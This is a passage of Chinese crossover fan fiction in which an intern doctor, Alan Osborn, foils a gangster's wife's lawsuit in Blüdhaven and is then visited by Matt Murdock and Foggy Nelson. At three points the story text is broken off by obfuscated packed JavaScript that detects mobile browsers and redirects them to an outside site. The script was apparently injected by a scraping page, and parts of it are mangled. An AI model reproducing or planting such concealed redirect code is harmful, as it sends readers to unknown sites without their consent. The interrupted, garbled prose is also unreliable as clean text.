视频的主人公是艾伦的邻居,迪克·格雷森。 迪克像是被人堵在了警局门口,长枪短炮对着他,记者们看上去像是要把格雷森警官吃掉。其中有些记者被‘乌贼’的手下收买,问出的问题一个比一个不要脸。 “请问警局内部是否存在诬陷好人的可能?据我所知,不利于约翰逊先生的证据全部来自于一个不知姓名的‘超级英雄’——我们甚至无法确定对方是否是‘英雄’!” “……约翰逊先生上个月刚刚为孤儿院捐赠了一大笔善款,目前孤儿院院长已经为约翰逊先生发声,表示坚决支持约翰逊先生……” 迪克看上去有点难以招架,视频被配上一个引人注意的标题——布鲁德海文警局再爆丑闻?警察系统是否依旧值得信任? 扛着长枪短炮的人乌泱泱挤成一团,艾伦越看越觉得他们面目可憎,到最后他们几乎连成一个巨大的、蠕动的黑色肉团。肉团上长着无数张一模一样的人脸,每张脸都带着不怀好意的笑容。 他们的脸和另一个场景下的蠕动着的肉团重合起来,他们融合在一起,像是在念咒一样,不停重复着—— “……诺曼·奥斯本深爱着他的妻子艾米丽,奥斯本先生是个和蔼温柔的好父亲。你要珍惜这样的生活,艾伦……离开奥斯本家族,你什么都不是!” 女人悲伤绝望的表情愈发清晰起来。 艾伦的手又落在了口袋里的毒剂上。他可以不用忍耐这些,明明他只需要用一点小小的花招就能让对面喋喋不休的家伙死于非命,明明他和诺曼·奥斯本一样,也很享受鲜血流淌在手心的感觉。 在即将接触到那个不起眼的小瓶子时,艾伦突然感到胸口一阵闷痛传来,指尖也开始抑制不住地颤抖。 11.针对医生的阴谋? 就在艾伦情绪濒临崩溃,准备走上‘掏枪崩了全场→去大都会找卢瑟加入光照会→加入实验室研究致远族开发外星武器→改造一个属于自己的地球’这样一条伟大道路的关键时刻,安迪·米勒戳了戳他的胳膊: “你看,我就说REBOA是更好的选择,说不定‘乌贼’能同意把他的下肢捐给医院呢!如果真的是这样,我就去申请把他的腿给你练缝合怎么样?你还可以尝试一下那个自体骨灭活回植专用高压锅!” 艾伦:“……” 他看了看自己的手指,没有震颤,更不会抽搐,是一双能稳稳拿住手术刀的手。 刚刚的疼痛和颤抖仿佛是他的错觉。 不过说到那个用来煮病人骨头的高压锅,他真的有点饿了。 手机上的新闻还在继续播放,迪克的脸被放大,艾伦觉得他更想念麦片了。 没钱没势的小警官被人推出来面对媒体的惨状让艾伦更加坚定了要让迪克辞职跟他回家当管家的想法。 他会给迪克更好的生活,而不是留在这里当警局替罪羊。 乐天派医生安迪探头探脑地看完了丹尼尔递给艾伦的视频,然后他拍了拍艾伦的胳膊,轻声安慰:“没事哒没事哒,布鲁德海文警局的警员坚强得很,解决这点小小的舆论危机不在话下——他们会表示情况就是这么个情况,剩下的情况还不知道是什么情况。你的早餐搭子、晚餐搭子和专属司机只需要保持沉默,这事就过去了。” 刚刚还和艾伦一起手术的另一个医生爱德华从另一边探头过来,一屁股把手机的主人丹尼尔挤开。 两个医生把艾伦夹在中间,三人低着头弓着腰盯着小小的手机屏幕,活像是背着老师偷偷在桌子底下看漫画的小学生。 急救员丹尼尔试图把自己也塞进医生的小圈子,可惜没成功。 爱德华淡定点评:“我记得上次他们失手引爆了一颗寄给他们局长的蛋糕炸弹,结果把警局大楼楼顶炸了……那会儿民众骂得更凶,上街游行抗议要局长引咎辞职。遗憾的是,骂名越多位置越稳。我记得你和迪克关系很不错对吧?你可以安慰一下他,等他被骂得家喻户晓,那他就是个成功的未来布鲁德海文局长了!” 艾伦:“……迪克可能不太需要,他是个有理想的警察。”和一般警察不一样。 “哦,那真遗憾。”米勒医生遗憾地摇摇头,“我猜这新闻背后911和消防也买了不少流量——他们一向和警察不对付。我记得格雷森警官上次和他们抢过一只树上的猫……别这样看着我,是护士告诉我的,他们有个追星格雷森警官的小群,警官救猫的照片售价最高。你可别小看护士们的八卦能力!我不知道多少次从他们那里听到有趣的小秘密。” 谢谢,你的八卦能力不比他们差。 艾伦嘴角抽搐。 “我再告诉你一个小秘密,你可不要告诉别人。”八卦二号爱德华医生对着艾伦眨眨眼睛,“他们还有个关于你的小群,每天偷偷发你的照片,目前你的单人照单价和偶像派警察格雷森持平。别担心,他们不会把照片传出去的……护士们压力非常大,他们也需要放松。而且你知道的,医院里看上你的人不少,我们都下了赌注你会先和谁一起去吃晚餐……你真的不考虑一下下班去约会吗?” 八卦一号米勒医生:“前两天病理科的埃莉娜和心内的马克医生都在向我要你的联系方式,他们真的在你面前暗示过好几次了,结果你一次都没看出来。说真的,埃莉娜是个非常可爱的姑娘,你考虑一下?我个人非常不建议选择马克,他刚和埃莉娜分手才一周!” 艾伦面无表情地看着他。 米勒:“别这样看我,我没有性别歧视!我只是……好吧,我下注了埃莉娜,50块巨款!求你了好艾伦,你不会让我血本无归的对吧?” 艾伦一时之间不知道该说什么才好,他没有应对这种话题的经验,最后只能生硬地回答:“……方便换个我能参与的话题吗?” 于是三个‘乌贼’的主治医生外加一个急救员,四人开始当着所有人的面低声蛐蛐‘乌贼’还有多久会死。 不过幸好院方、警方的关注点都还在今天的医患纠纷和刑事案件上,没人关注几个小医生。 除了刚刚对着艾伦笑得诡异的约翰逊夫人。 “她还在偷偷看你!”安迪显然也注意到了‘乌贼’妻子奇怪的行为,他思考了半分钟,然后郑重其事地提醒艾伦,“比起‘乌贼’的遗孀,我还是真诚建议你选埃莉娜,哪怕是马克也比她强!你可别去给‘乌贼’养孩子!” “那女人不简单。”爱德华医生同情地拍了拍艾伦的肩膀,“你当心点儿,要是她准备对你巧取豪夺,要不然你就接受吧?也不亏……记得多要点好处。你说她怎么没看上我呢?” “哦,这个问题你问问镜子?” 艾伦推开一左一右两个八卦分子:“……换话题!!” “哦哦哦,刚刚咱们说到哪来着?‘乌贼’还能撑多久是吧?” 米勒医生认真沉思五秒钟,说至少还有36个小时。 谷歌急救员左看看右看看,毫无理智地决定奥斯本医生说什么就是什么。三人的视线于是纷纷落在艾伦身上,火热得把艾伦把刚刚濒临爆发的情绪全浇灭了。 他向后靠在椅背上,闭目思考三秒钟:“35.5个小时。” “……你那半个小时怎么来的?!”安迪吐槽,“你又不是死神。” “如果他35.5个小时之后没死,我就去拔他的管子。”艾伦已经彻底投入豪赌,他十分自信,“相信我,我不会出错。” “哦,那奥斯本医生赢定啦!”这是无脑崇拜艾伦的丹尼尔,“抱歉了米勒医生,我和奥斯本医生是一伙哒!” “那我也跟手段强势、气场惊人的人气新星艾伦医生吧!”另一个主刀医生笑呵呵地说道,“我们夏威夷人都比较相信新手光环!Aloha!” “输了你就把你的签字笔给我!”艾伦摸了摸胸口空荡荡的口袋,目光如炬地盯着安迪·米勒上衣口袋里的笔,说出了能够激发一个外科医生最大斗志的话。 安迪:“……”想都别想,你知道外科医生的签字笔是什么吗?是我们的武器,是总被人顺手牵羊的战利品,是签署死亡通知的时候永远也找不到的白月光! 这比‘乌贼’的命和寡妇重要多了! 所以有时候真的不能对布鲁德海文急诊科的资深医生抱有太大期待,因为他们平时实在是见了太多五行缺谱的人。 约翰逊夫人这种胡搅蛮缠非要上法庭的家属之前也不是没有过,布鲁德海文有钱有势的不是只有他们。 今天的场面在米勒医生等人眼里也不过普通的医患矛盾而已,还没上升到患者家属抱着炸弹来炸医生的地步呢,毛毛雨啦。 没有冒险精神、抗压能力和松弛的心态是无法在这里待太久的。 对面刚刚还十分变态地舔嘴唇试图吸引艾伦注意的约翰逊夫人见没人理会她,逐渐开始破防。 她索性不装了,站起来想要重新激怒艾伦:“奥斯本医生!你听见我刚刚说的话了吗?” 艾伦在古德曼女士的瞪视下,不情不愿地开口承认:“没听见,有事吗?” 对面的女人好玄没被艾伦气死。 她心想,合着她今天提前准备了那么多有关艾伦·奥斯本的资料,甚至还有对方的心理侧写,她和律师还提前演练过一次‘当面击溃奥斯本医生→吸引对方的关注→让艾伦·奥斯本一步步走进他们陷阱’的计划全都没有被对方看在眼里! 虽然她也不清楚上面为什么非要对艾伦·奥斯本这么一个来自地狱厨房的小医生穷追猛打,并且要毁掉奥斯本医生的职业生涯。 不过,他们果然还是小瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837665|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了艾伦·奥斯本。 这个可怕的男人不会他们三言两语击溃,是他们轻敌了! 艾伦不知道对方纠结了半天到底想说什么,所以他不耐烦地问道:“还有事吗?没事我先走了。” 十分的轻描淡写,不屑一顾。 说完,他站起身就想离开。 对面的女人大声叫道:“我可以撤诉!” 古德曼女士和BPD的人眼前一亮。 他们还以为至少要再来几次这种无聊的会,甚至真的有可能在法庭上见,拉扯至少半年最后才能达成一致。 也不是他们害怕这个,只是谁都想少点麻烦。 ‘乌贼’的事情已经闹得沸沸扬扬,外界都以为他是个好人,甚至还有民众自发往医院送来鲜花。官方越是宣称真相并未查明,民众越是相信政府在掩盖真相。市长刚刚已经打来电话要求医院和警局必须尽量消除这件事的影响,听说就连州检察官都在关注这个案子。 如果‘乌贼’费奇·约翰逊真的死亡,那他就很有可能坐实好人身份,让最近的风风雨雨到此为止,无人再提。约翰逊的手下和妻子就可以名正言顺地保有他们现在的产业,说不准还会更进一步。 ‘乌贼’能站在法庭上接受审判、亲口承认他犯下的罪行才是对法律的尊重,对真相的还原。等他真的死了,布港警察的名声就毁了,虽说他们的名声已经糟糕到不差这么一星半点。 对于医院来说更是如此,艾伦和迪克如今面临的状况差不多,一旦被告上法庭,不管真相如何,短期内他们的职业生涯算是被按下了暂停键。 舆论压力会给到艾伦、古德曼女士和医院资方。 医院为了声誉选择开除艾伦也不是不可能,谁让艾伦不过是一个实习医生,医院资方不可能站在他这边。 女人对着艾伦笑着说道:“我可以撤诉,前提是让里奥警官把肝脏捐给我的丈夫!这样他就能活下来了,不是吗?” 从理论上来讲是这样的,而且肝脏本身是免疫特惠器官,在进行移植时只要符合输血原则就可以。正好里奥警官和费奇·约翰逊血型相同。 “容我提醒,”古德曼女士冷下脸色,“约翰逊先生目前正在服刑,按照规定,他不在器官移植名录前列。” “可是如果我没记错的话,”约翰逊夫人直直盯着艾伦,“根据规定,可以由捐赠者家属指定被赠予人。我想也许心地善良的奥斯本医生愿意帮帮可怜的我,奥斯本医生,你是里奥警官死亡的第一见证人,同时也是我丈夫的主治医生,可以去找里奥夫人谈谈吗?你不想救活我的丈夫吗?” 全场一片安静,约翰逊夫人得意地笑着:“哈哈,怎么样?我要让受害者给杀人凶手捐献器官!艾伦·奥斯本,你刚刚不还很有本事吗?做出选择吧,我希望你亲自为我的丈夫移植器官!” 这算是一步阳谋了,作为主治医生的艾伦如果真的答应,恐怕里奥警官的家人会第一时间打死他,并且将他告上法庭。但他如果不答应,那就等于承认了没有对费奇·约翰逊进行积极救治,约翰逊夫人一定会第一时间和媒体爆料。 如果他只是一个平平无奇的小医生,这招真的很有效。 可惜他不是。 艾伦扭头去看还在这里没走的布鲁德海文警察:“我听见了,她承认她丈夫是杀人凶手。你们录音了吗?我录下来了。” 说完他又补充道:“你们的效率实在太低了,足足四个小时什么都没干。所以在你们叽叽喳喳的时候,我弄到了费奇·约翰逊的银行流水和约翰逊夫人收买媒体的照片证据,《号角日报》和《星球日报》应该都收到了我的爆料。顺便,我今天早上就请了私家侦探,他说他找到了一个隐藏的制毒工厂地址,格雷森警官已经到那里了,他说风景不错,你们想去看看吗?” 约翰逊夫人:…… 警员们:…… 12.医生不高兴了? 古德曼女士看向艾伦的目光现在已经和看向医院最贵的那台放疗质子刀设备已经没什么两样了,那是看一吨可再生黄金的眼神。 事情一波三折地发展,但冷漠无情到如同一把手术刀的奥斯本医生总能占据上风。 古德曼女士猜测是因为奥斯本医生本质上比在场所有人都更傲慢。 他们急诊科刚来没多久的医生虽然还在实习,但他确实没有把黑邦、警察和医院领导放在眼里。这让古德曼女士怀疑如果有一天她也不小心做了什么让奥斯本医生生气的事情,奥斯本医生一定也会毫不留情地痛击她脆弱的心灵,她在奥斯本医生面前的待遇不会比黑邦好多少。 就算她是急诊科的主管也一样。 没看奥斯本医生的带教老师安迪·米勒都认输了吗? 米勒医生已经跟在奥斯本医生身后卑微地双手合十了,两人之间师生关系颠倒,安迪·米勒比艾伦更像菜鸟实习生。 米勒医生用别人听不见的声音恳求艾伦,就像在恳求大学室友帮忙签到:“求你了艾伦,把你的联系方式给埃莉娜吧!不然我月底没饭吃啦!” 艾伦毫不留情:“……求你了,用羊肠线去上吊吧,不然我要被烦死了。” 谷歌急救员看了看米勒医生的脖子,眯着眼睛用手指隔空量了量:“那起码得用1号了线了吧,奥斯本医生,那个……请问是用快薇乔还是普迪斯比较合适呢?我又忘记了……” 艾伦:“当然是普迪斯,抗张力强度能维持4周再下降,还不容易被人体吸收。” 谷歌急救员迅速掏出小本子。 爱德华医生在另一边小心翼翼:“他上吊了就不用吊死我了哦。所以你会答应马克的约会邀请?他定了湖畔酒吧和玫瑰花……” 艾伦:“你也给我去拿1号线!” 古德曼女士觉得他们科室的确人才济济,整个布鲁德海文医院的活宝全都跑他们急诊科了。就是她有时候比较希望能给其他科室送出去几个。 感觉今天又老了10岁的主管女士:“好了,医生们。今天辛苦你们了,快回家休息一下吧。接下来的事交给我就好。” 气场强大的艾伦仍旧处于奥斯本家族传统气人模式中,他用‘在座的都是辣鸡’的眼神扫视一周之后,对着古德曼女士微微点头致意。然后带着三个‘跟班’摔门离开,临走之前还不忘嗤笑一声,嘲讽度拉满。 屋子里剩下的人谁也不敢去阻止,生怕奥斯本医生等会再找个私家侦探把警方的老底也掀了。毕竟警察们也确实没比黑邦干净多少……民众把他们骂成这样其实他们也不冤。 而且谁知道奥斯本医生还有什么压箱底的手段没用,他请的私家侦探简直比警局还靠谱。 说真的,哪个私家侦探敢接查黑邦老巢的活啊?奥斯本医生究竟拿什么把柄威胁人家了? 奥斯本医生高贵冷艳的背影消失在门口。 剩下警方和黑邦在医院主管办公室里面面相觑。 双方十分尴尬地对视了一眼,最后还是约翰逊夫人强撑着挤出一个笑容:“行了,碍事的人走了,不如我们谈谈怎么和解?我们不上诉了,赔偿金……” 古德曼女士看着手机上的新闻推送,舒展了眉头:“哦,这个问题确实要好好商量一下,约翰逊夫人。所以你准备怎么补偿我们医院因为您的诬告而造成的名誉损失?哦对,还有奥斯本医生,他的律师马上就到,建议你们面谈。” ** 《号角日报》和《星球日报》比拼手速的结果居然是《星球日报》更胜一筹,这恐怕是艾伦今天唯一一件预估错误地事情。明明他在《号角日报》内部有人——彼得·帕克当然是他爆料的首选。 艾伦一边换衣服一边听着米勒医生用十分夸张的口吻朗诵新鲜出炉的头版头条。 “哇哦,这个记者克拉克·肯特真敢写,等会我要去关注一下……看看他说了什么?资本正在践踏法律和公平!他还说——‘虚构的事实通常由于符合人们的期待而被当作真相’*,新闻媒体正在让无辜者获罪,让有罪之人升上天堂……” “沃尔特·李普曼,1922年的话至今仍然掷地有声。这个记者很有品味,建议古德曼女士把他挖到医院的公关部门。”艾伦修长的手指搭在领带上,用优雅的姿势给自己的领带系了个死结。 有关大好人‘乌贼’对法官和检察官行贿、花费巨额收买媒体、表面上投资孤儿院实际上做着人口买卖的新闻已经爆了,有图有真相的那种。 《星球日报》不仅手速更快,甚至还拿出了比艾伦提供的更加全面的资料。 彼得的电话再一次打过来。 其实他在看见新闻头条,并且在一个小小的角落里找到艾伦模糊的照片时,就已经给艾伦打过电话,只不过那会儿艾伦还在和古德曼女士汇报手术情况,暂时没有接听。 “……幸好赶上了。”彼得那边听上去风声有点大,让艾伦怀疑对方正待在天台上,“你应该不会被起诉了吧,艾伦?” 艾伦:“当然不会。但是彼得,《号角日报》没有抢到首发,你的动作太慢了!” 彼得·帕克尴尬地笑了一声,不敢直面好友不定时发作的奇怪胜负欲,他发誓他已经尽全力发挥蜘蛛侠的手速了! 蜘蛛侠挺快的,但是他真的比不过超人。 “我……咳咳,肯特记者确实很厉害,不过我觉得我也不差。”彼得差点咬住自己的舌头。 他不想继续和艾伦讨论到底谁更快的问题,那会让他产生一种蜘蛛侠似乎很菜的错觉,于是他迅速转移话题,“有个糟糕的消息,你要听吗?” 艾伦挑眉。 不过还没等彼得开口,他就已经反应过来了——他的照片被媒体刊登,虽然很模糊,但哈利和诺曼·奥斯本肯定能认出来。 艾伦垮着脸,在心里把‘乌贼’臭骂了三千遍,并且决定去暗网发点悬赏。 于是他也终于想明白了为什么那个讨人厌的约翰逊夫人会在他面前反复刷存在感——从中做梗的,除了他那个控制欲强性格暴躁、手伸得比橡胶人还长、恨不得全天下都向他下跪的糟糕父亲诺曼·奥斯本之外,还能有谁? 哈利说的对,没让诺曼·奥斯本的葬礼成功举办真令人遗憾。 讲道理,艾伦今天愿意参加这个屁用没有的见鬼会议,主要就是想看看‘乌贼’的黑邦究竟是什么成分——他要搞清楚那个逆序三螺旋的纹身背后隐藏的秘密,这也是他来布鲁德海文的原因。 自从他母亲去世之后,这个逆序三螺旋的图样就反复出现在他的生活中。 艾伦下意识摸了摸胸口。 在衣服的遮掩下,他的心脏附近也有这样一个纹身,他甚至记不清楚这东西是什么时候出现的了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846563|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只不过和‘乌贼’等人身上粗糙的纹路相比,他身上的逆袭三螺旋勾结缠绕,纹路更加精致复杂,如同荆棘一般簇拥着他的心脏,最中央的那只眼睛像是有灵魂一般。 艾伦小时候曾亲眼见过那只明明只是纹身的眼睛睁开又闭上。 原本他没当回事,但是在艾米丽去世之后,他就开始频繁在别人身上看见类似的图案。 不过眼下不是研究这件事的时候。 他确实没想到诺曼·奥斯本也在‘乌贼’这里掺了一脚。 ‘乌贼’妻子的演技显然不太好。 艾伦一边穿上外套一边腹诽他爸是不是被哈利挤兑得快没钱了才请来这么一个蹩脚的货色。 不过还有个问题,究竟是诺曼·奥斯本先发现了他在这里,然后才机缘巧合的掺和进来,还是说这帮人本来就和诺曼·奥斯本有联系? 如果是后者,那事情可就太有意思了。 不过更有意思的事还是由彼得说出来的:“你知道吗?哈利今天的课上到一半就跑出去了,听说他明天也不准备来学校……我刚刚听见他打电话让助理给他定机票。” 艾伦:“……”心里不好的预感更强烈了。 “我已经打电话给他了,但他没接,毫无疑问他是去找你了。”彼得叹了口气,“你们好好谈谈吧,艾伦。哈利其实很关心你,而你明明也很关心他。” 艾伦:“别说黏糊糊的蠢话,我会做噩梦。” “得了,你和哈利……” 话还没说完,艾伦就听见彼得那边突然传来砰的一声巨响,像是有什么东西撞在了墙上。 紧接着是彼得的低声咒骂:“哦该死……艾伦,抱歉我这边有点事,我们下次再聊吧!” 艾伦看着被挂掉的电话,眨了眨眼睛。 彼得怎么了?走路撞电线杆子了吗?还是掉进了下水道? 其实是后者。 艾伦现在还不知道他的好友正在和他之前实验室里的同事科特·康纳斯博士拳拳到肉地搏斗,地点正是纽约的下水道。 不过就算艾伦知道,他恐怕也只会让蜘蛛侠揍得更狠一点,之前他在奥斯本集团的实验室里的时候,科特·康纳斯可没少听诺曼·奥斯本的话给他找麻烦。 然而,艾伦要面临的另一个麻烦已经到了。 马修·默多克西装笔挺地站在急诊科大厅里,手里拿着盲杖,身后还跟着弗吉·尼尔森。一派精英模样的两人顿时吸引了急诊科许多人的视线。 马修的身子动了动,扭头‘看’像艾伦的方向。 热情的弗吉冲过来给了艾伦一个大大的拥抱:“艾伦,好久不见!你不知道我们有多想念你!你刚离开的时候,马特连续好几天半夜不睡觉待在律所里,每天我过去的时候都以为遇见了吸血鬼!” 艾伦僵硬地站在原地,眼神落在马修身上。 马修脸上没什么表情,就这么站在原地不动。 弗吉已经开始对着艾伦身上皱皱巴巴的衣服,开启了吐槽模式。 “艾伦,你这是什么见鬼的领带新样式?还有你的衬衫……哦,我的小艾伦,你都瘦成这样了,你这段时间肯定吃苦了!” “那也是他自找的。”盲眼律师一针见血,“艾伦,不邀请我去你家坐坐吗?” 艾伦:…… 回家的地铁坐几号线来着? 13.谁的鸟窝? 艾伦没想到他刚准备走出医院,又不得不折返再去一次古德曼女士的办公室,因为这是马修要求的。 除了和医院的律师团做些交流之外,尽职尽责的马修爸爸决定和医院主管认识一下——按照他对艾伦的了解,他确定要不了多久医院主管还会有事找他。 艾伦垂头丧气地跟在律师身后,不情不愿地向他介绍医院。 “我只认识1楼的路,再往上就不知道了。”艾伦理直气壮,“别问我行政办公室在哪,我也不知道。” 弗吉叹了口气去找医院的路标,心想这死孩子迷路的老毛病还是没改掉,希望他有一天推着病人去手术室的时候当心点,别把人推去停尸房。 艾伦没听见,不然一定会吐槽弗吉又在用医疗剧对医院套用刻板印象。他们有护士,还有专门的运输人员,除非特殊情况,医生一般不用亲自推尸体。 马修在询问艾伦有关‘乌贼’的事情。 他在不久前发现金并手中有一批来自布鲁德海文的新型药物——表面上是药物,实际上是毒品的那种。 那东西让人短期内力大无比,事后却又会死于非命。金并已经将这种药用在自己的下属身上,让他好几次在抓到罪犯之后只能眼睁睁看着那些人死在监狱里。 症状和布鲁德海文警局最近出现的罪犯死亡情况一模一样。 这让马修瞬间意识到事情的源头也许就在布鲁德海文。 再结合艾伦,他将目光锁定在布鲁德海文的一个小黑邦身上。 马修感受着艾伦平稳的心跳声,低低叹了口气。 “最近让弗吉送你上下班吧,艾伦,我也会在这里住一段时间……” 艾伦顿时炸开全身的毛,怒视讨人厌的律师:“为什么?!你不管你心爱的地狱厨房了吗?” 精明的律师不需要看都知道艾伦的想法。 “那边的案子暂时告一段落,现在最重要的是你。” 艾伦……艾伦不说话了。 炸起来的毛奇迹般地被捋顺,他不爽地啧了一声,扭头不去看马修。 马修微微一笑。 他们还没来得及再继续交谈两句,就看见了刚好迎面走来的古德曼女士。 古德曼女士和来自纽约的默多克律师在对视一眼之后,十分自然且默契地进入‘家长-老师’尬聊环节,然后主管女士实习医生自带的金光闪闪律师团闪瞎了眼。 如果上帝允许的话,她希望接下来进入布鲁德海文急诊科实习的医生都按艾伦的标准来。 瞧瞧,多么靠谱的律师! 哦,当然,希望下一个实习生别像艾伦一样说话能把人气死就行。 “……是的,艾伦在我们这里表现一直相当优秀,他十分专业且拥有优异的表(嘴)达(毒)能力,能有机会聘用这样一位优秀的医生是我们医院的荣幸。”古德曼女士就像每个幼儿园老师一样,熟练地睁着眼睛说瞎话。 她已经看出这位律师不仅仅是艾伦的律师,更算是艾伦的一位长辈,所以她也很乐意和艾伦的家人聊一聊,“不过说真的,如果他有时间应该多参与一下同事们的聚会……已经有人因为太想要得到艾伦的联系方式而找到我这里来了!哦,艾伦,用不着害羞,你确实是我们急诊科的宝贝。” 中年女士对着艾伦眨眨眼睛,眼里全是长辈对小辈的溺爱之情。 艾伦:…… 马修忍不住笑出声。 说实话,他一直很担心艾伦的感情生活。艾伦有时候不是很能理解普通人的感情和行为模式,这也是他一直不放心艾伦单独生活的原因。 不过看样子艾伦在医院里过得很不错,这位主管也对艾伦很好。 能看见艾伦顺利融入一个正常人类组成的集体,这是一件让马修再开心不过的事了,开心到他几乎快打消要艾伦回纽约的想法。 ** 不过这种开心和放心很快就消失无踪。 一个小时后,艾伦的小破公寓里。 在经历了漫长的医院尬聊之后,艾伦终于得以放假回家,不用再听两个年纪加起来超过80岁的叔叔阿姨站在走廊里夸他勤奋刻苦,学习认真,医术精湛且嘲讽他人的技能修炼满级臻至完美。 艾伦当时真想扭头就走,却又碍于讨厌鬼律师在场而不得不乖巧地和古德曼女士告别,并且礼貌地祝她生活愉快。 他感觉把柄被精明的古德曼女士抓住了,并且有预感他以后恐怕都不能在古德曼女士面前骂人了。 艾伦臭着脸领着两人走上狭窄破旧的楼梯,最后站在了公寓门口。 在经历了长达40分钟的地铁之旅后,默多克律师其实已经对艾伦宝贝的‘野外求生’现状有了初步了解。 但他也依旧没能承受住艾伦的混乱公寓带给他的强烈暴击。 艾伦站在门边,看见马修脑门上的血管正在突突直跳。 他若无其事地扭过头去看天花板,就好像角落里那个蜘蛛网是启发笛卡尔发明出平面直角坐标系的那个神圣蜘蛛网一样引人注目。 “……所以你现在就是这么生活的?!天呐,我感觉我从走进这个房间的第一步就已经开始呼吸困难了!艾伦宝贝,你睡在这里不会缺氧吗?”弗吉难以置信地看着外表光鲜亮丽,屋子垃圾满地的艾伦:“老天,你你……” 他‘你’了半天,感觉自己完全没把法从脑海当中搜刮出一个合适的词汇来形容家里叛逆的小孩。 最后他憋出来一句:“……我以为医生都是洁癖,没想到你是个例外。” 艾伦:“那又是你的刻板印象。” 卧室的床上乱糟糟地堆着睡衣、帽子、领带和大部头的书,手术刀、缝合线、针筒和菜刀的组合胡乱摆放在墙壁黢黑的厨房的砧板上,客厅角落里立着人体骨架模型和拆出来一半的内脏模型,墙上还有一副写着中文的人体经络图,图上戳着密密麻麻的针。 墙上还有个形状不规则的大洞,足够一个人通过,隐约能看见另一边更加乱糟糟的场景。 阳台上搭着绳梯,一路垂到一楼去。马修有理由认为艾伦养成了不走大门的‘好’习惯。 艾伦满意地看着自己的房间,不明白弗吉和马修到底对哪一点感到不爽——到处都很干净,他经常消毒。 弗吉从艾伦沙发上乱糟糟的衣服堆里抽出一块疑似人类的大腿骨的东西。 那单独的一块骨头质感看上去和客厅里那副骨骼模型不太一样。 “……这是?”弗吉用两根指头把那块白色长条状物体捏起来仔细观察。 默多克律师从尼尔森律师手中郑重接过大腿骨,触摸到那块骨头之后,他神色严肃地举起来,把头扭向艾伦的方向。 艾伦一把抢过来:“这是我的收藏品!” 马修:“这是人的骨头。” 弗吉顿时怪叫一声,开始在衣服上疯狂擦手:“人的大腿骨?不是模型?!” 马修扶额:“你又是从哪里弄来的?” 艾伦:“正规途径!我买的!而且经过了高温蒸煮消毒,安全又健康。有问题吗?” 这宝贝花了他差不多一个月的工资。他好不容易才从一个私人诊所里高价收到骨癌晚期病人置换下来的腿骨。 “所以你就天天抱着它睡觉?!” 马修拳头紧了又送,松了又紧。 最后他长叹一口气,脸上的表情像极了和儿子大吵一架的叛逆高中生母亲,“你给我好好收拾房间去!” 他们都没地方下脚了! 艾伦一屁股坐在沙发上,随口应道:“……哦。” 医生的屁股黏在沙发上,整个人歪歪扭扭地靠在一摞报纸杂志上打瞌睡,半点儿没有要起来的意思。 弗吉叹了口气,劝道:“算了算了,先让他睡一觉吧,他看上去已经三天没合眼了。虽然我知道实习医生一周工作时长最高能有80小时,但你像是每天都工作了24小时,告诉我,你没这样做。” 弗吉听马修说过,以前艾伦待在实验室的时候经常几天几夜不吃饭,全靠营养剂撑下来。 艾伦:“……”狗屁80个小时,那是又是刻板印象! 讨厌的律师根本不知道医生是种什么样的职业。 这职业和义警一样全年无休,一周五天工作日天天在医院跟查房、收病患、写病历、值夜班、做手术,好不容易终于熬到了休息日还得准备医院考核、想方设法憋论文、以及应付同事们层出不穷的聚会邀请——天知道那群人哪来这么旺盛的精力和仿佛无穷无尽的聚会理由。 不过迄今为止他从来没踏进过布鲁德海文医生最钟爱的湖畔酒吧一步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853810|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这段时间他一般都是白天在医院,晚上看文献,硬生生把自己过成苦行僧。他也不知道医生为什么会这么忙,但反正每天一睁开眼睛就有无穷无尽的事情向他涌来。 想查的逆序三螺旋半点儿没进展,结果还要被安迪·米勒要求用羊肠线缝一个夜翼出来展示缝合术学习成果。 说他活得不如狗那就是在侮辱狗。 不然他的脾气为什么变得比在纽约的时候还差。 马修扭过头,默不作声地摸到床边,和弗吉一起把床单的四个角抬起来,直接一包裹把床上乱七八糟的东西一波带走。 在看见床单底下居然还躺着一本薄薄的小册子——他当初送给艾伦的、有关医学的法律条款大汇总——时,终于还是绷不住了。 “你每天把我送你的书藏在屁股底下是有什么特殊含义吗?”马修拎着皱巴巴的小册子,内心充满无语,“还是法律条款和我已经让你讨厌到这个地步了?” 艾伦:“……床垫太旧了,有个弹簧总戳我屁股。” 马修一时间无话可说。 在摸到老旧的床垫和法律小册子封皮上的洞之后,他更是哑口无言。 老父亲心口突然就升起一股酸涩。 就像看见自己辛辛苦苦养大的小猫不仅和外面的野猫跑了再也不肯回家不说,还从油光水滑变得毛皮脏兮兮,每天只能食不果腹地翻着街角的垃圾箱,到了冬天说不定还得躲在汽车发动机上取暖!! 早知如此他就应该早点把艾伦带回纽约! 